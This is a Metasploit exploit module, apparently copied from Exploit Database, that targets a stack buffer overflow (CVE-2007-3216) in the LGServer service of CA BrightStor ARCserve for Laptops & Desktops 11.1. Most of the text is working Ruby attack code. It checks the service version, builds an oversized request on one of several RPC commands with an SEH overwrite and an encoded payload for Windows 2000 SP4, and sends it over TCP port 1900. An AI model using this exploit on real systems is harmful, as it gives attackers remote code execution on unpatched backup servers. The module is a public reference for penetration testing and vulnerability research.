CA BrightStor ARCserve for Laptops & Desktops LGServer – Multiple Commands Buffer Overflows (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-11-04
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16416/

• ##
  # $Id: lgserver_multi.rb 10909 2010-11-04 23:59:56Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
  				for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
  				an attacker could overflow the buffer and execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10909 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-3216' ],
  					[ 'OSVDB', '35329' ],
  					[ 'BID', '24348' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x75022ac4 } ],
  				],
  			'DisclosureDate' => 'Jun 6 2007',
  			'DefaultTarget' => 0))
  
  		register_options([ Opt::RPORT(1900) ], self.class)
  	end
  
  	def check
  
  		connect
  
  		sock.put("0000000019rxrGetServerVersion")
  		ver = sock.get_once
  
  		disconnect
  
  		if ( ver =~ /11.1.742/ )
  				return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  
  	end
  
  	def exploit
  
  		connect
  
  		rpc_commands = [
  				"rxsAddNewUser",
  				"rxsSetUserInfo",
  				"rxsRenameUser",
  				"rxsExportData",
  				"rxcReadSaveSetProfile",
  				"rxcInitSaveSetProfile",
  				"rxcAddSaveSetNextAppList",
  				"rxcAddSaveSetNextFilesPathList"
  			]
  
  		rpc_command = rpc_commands[rand(rpc_commands.length)]
  
  		data = rand_text_alpha_upper(62768)
  
  		data[58468,8] = generate_seh_record(target.ret)
  		data[58476,payload.encoded.length] = payload.encoded
  
  		sploit= "0000062768"				# Command Length Field
  		sploit << rpc_command				# RPC Command
  		sploit << "~~"					# Constant Argument Delimiter
  		sploit << data
  
  		print_status("Trying target #{target.name} with command '#{rpc_command}'...")
  		sock.put(sploit)
  
  		handler
  		disconnect
  
  	end
  
  end